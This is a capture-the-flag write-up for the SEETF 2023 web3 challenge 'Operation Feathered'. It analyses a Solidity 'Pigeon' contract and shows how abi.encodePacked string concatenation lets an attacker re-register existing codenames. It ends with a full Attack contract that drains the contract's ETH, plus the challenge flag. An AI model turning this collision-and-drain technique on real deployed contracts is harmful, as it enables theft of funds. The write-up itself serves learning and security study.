##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Operation Feathered

[SEETF, 2023]

category: web3

by J4X

Description

Operation Feathered Fortune Fiasco

In the dystopian digital landscape of the near future, a cunning mastermind has kickstarted his plan for ultimate dominance by creating an army of robotic pigeons. These pigeons, six in the beginning, are given a sinister mission: to spy on the public, their focus being on individuals amassing significant Ethereum (ETH) holdings.

Each pigeon has been tasked with documenting the ETH each person owns, planning for a future operation to swoop in and siphon off these digital assets. The robotic pigeons, however, are not just spies, but also consumers. They are provided with ETH by their creator to cover their operational expenses, making the network of spy birds self-sustaining and increasingly dangerous.

The army operates on a merit-based system, where the pigeon agents earn points for their successful missions. These points pave their path towards promotion, allowing them to ascend the ranks of the robotic army. But, the journey up isn't free. They must return the earned ETH back to their master for their promotion.

Despite the regimented system, the robotic pigeons have a choice. They can choose to desert the army at any point, taking with them the ETH they've earned. Will they remain loyal, or will they break free?

nc win.the.seetf.sg 8548

Challenge

The challenge is based on the ParadigmCTF framework. The description can be found in "./description.md". We receive the setup as well as the pigeon contract.

Analysis

  • contract for managing pigeons of different tiers (junio, associate, senior)
  • pigeons have to fulfill tasks to increase their points

Functions

constructor()

sets owner and values for the promotions

becomeAPigeon(string memory code, string memory name)

reverts if:

  • codeToName[code]name is true, which is either set to true in this function or in assignPigeon().
  • isPigeonmsg.sender is true

functionality:

  • hashes code and name together to generate codeName (reproducible)
  • sets juniorPigeon at the generated codename to the address of the msg sender
  • sets isPigeonmsg.sender to true
  • sets codeToName[code]name to true (which will trigger the revert if we call this fun again with the same value)

task(bytes32 codeName, address person, uint256 data)

reverts if:

  • !isPigeonmyÅ›g.sender
  • person == address(0)
  • isPigeonperson
  • person.balance != data

functionality

  • increases taskpoints of the given codeName by points

flyAway(bytes32 codeName, uint256 rank)

reverts if:

  • !isPigeonmsg.sender
  • rank == 0 && taskPointscodeName > juniorPromotion
  • rank == 1 && taskPointscodeName > associatePromotion

functionality:

  • sends the treasurycodeName to the tiers mappingcodeName

promotion(bytes32 codeName, uint256 desiredRank, string memory newCode, string memory newName)

reverts if:

  • !isPigeonmyg.sender
  • msg.sender is not in the list corresponding to its rank
  • taskPoints are less than the ones needed for the rank
  • codeToName[newCode]newName exists

functionality:

  • increases the owner balance by the value of the treasury at the codename
  • sets the ranks mappingnewCodeName at to msg.sender
  • resets the taskpoints of the old codename to 0
  • deletes the old codename from its old ranks mapping
  • transfers the treasury of the old codename to the owner

assignPigeon(string memory code, string memory name, address pigeon, uint256 rank)

reverts if:

  • owner != msg.sender

functionality:

  • add a pigeon of arbitrary rank

Debugging

To make it easier to debug I used my ParadigmCTF Debug Template which uses forge. I adapted it to fit the challenge and was able to debug pretty efficiently:

// Description:
// A forge test case that you can use to easily debug challenges that were built using the Paradigm CTF framework.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
import "forge-std/Test.sol";
import "../src/Pigeon.sol";
import "../src/Attack.sol";
//Import all needed contracts here (they are usually stored in /src in your foundry directory)
contract ParadigmTest is Test {
    address deployer = makeAddr("deployer");
    address attacker = makeAddr("attacker");
    //Initialize any additional needed variables here
    Pigeon public pigeon;
    function setUp() public {
        vm.deal(deployer, 1337 ether);
        vm.startPrank(deployer);
        //Copy all code from the Setup.sol constructor() function into here
        pigeon = new Pigeon();
        // Junior Pigeons
        pigeon.assignPigeon("Numbuh", "6", address(0x006), 0);
        pigeon.assignPigeon{value: 5e18}("Numbuh", "5", address(0x005), 0);
        pigeon.assignPigeon("Numbuh", "4", address(0x004), 1);
        pigeon.assignPigeon{value: 10e18}("Numbuh", "3", address(0x003), 1);
        pigeon.assignPigeon("Numbuh", "2", address(0x002), 2);
        pigeon.assignPigeon{value: 15e18}("Numbuh", "1", address(0x001), 2);
        vm.stopPrank();
    }
    function test() public {
        vm.deal(attacker, 5 ether); //30 eth are the standard for the paradigm framework but could be configured differently
        vm.startPrank(attacker);
        //Code your solution here
        Attack atk = new Attack(address(pigeon));
        atk.attack();
        vm.stopPrank();
        
        assertEq(isSolved(), true);
    }
    function isSolved() public view returns (bool) {
        //Copy the content of the isSolved() function from the Setup.sol contract here (maybe needs adaption if it includes msg.sender, then just change it to the attacker variable)
        return attacker.balance >= 34 ether && address(pigeon).balance == 0 ether;
        return false;
    }
}

Solution

What do we need to achieve?

address(msg.sender).balance >= 34 ether && address(pigeon).balance == 0 ether;

So we need to empty out the whole contract and get all the pigeons' money.

What's the problem

In the becomeAPigeon(), we only check for the exact combination of name & code to protect against double use. So we check for "Numbuh" and "6" not being used again. The problem is that as the 2 strings get concatenated and hashed afterward to create the codename, you can just generate the same codename from a different combination of the strings, like "Numb" and "uh6".

When you know this it gets pretty easy, you just overwrite the pigeons one by one while increasing your points using the task function. This function seems a bit complicated at the start but is pretty easy after ignoring all the irrelevant stuff inside it.

Solve Script

To solve the challenge I wrote an Attack contract that does everything for me:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "./Pigeon.sol";
contract Attack {
    Pigeon target;
    constructor(address _target) 
    {
        
        target = Pigeon(_target);
    }
    function attack() public
    {
        //so we are able to achieve the task points afterwards
        bytes32 codename1 = keccak256(abi.encodePacked("Numbuh", "5"));
        bytes32 codename2 = keccak256(abi.encodePacked("Numbuh", "3"));
        bytes32 codename3 = keccak256(abi.encodePacked("Numbuh", "1"));
        //get the money of the first pigeon by overwriting the juniorPigeon[Codename]
        target.becomeAPigeon("Num", "buh5");
        target.flyAway(codename1, 0);
        //Send all the money to the attacker
        msg.sender.call{value: address(this).balance}("");
        //upgrade
        target.task(codename1, msg.sender, msg.sender.balance);
        target.promotion(codename1, 1, "Num", "buh3");
        target.flyAway(codename2, 1);
        //Send all the money to the attacker
        msg.sender.call{value: address(this).balance}("");
        target.task(codename2, msg.sender, msg.sender.balance);
        target.promotion(codename2, 2, "Num", "buh1");
        target.flyAway(codename3, 2);
        //Send all the money to the attacker
        msg.sender.call{value: address(this).balance}("");
    }
    receive() payable external
    {
    }
}

SEE{c00_c00_5py_squ4d_1n_act10n_9fbd82843dced19ebb7ee530b540bf93}

/writeups/ $

$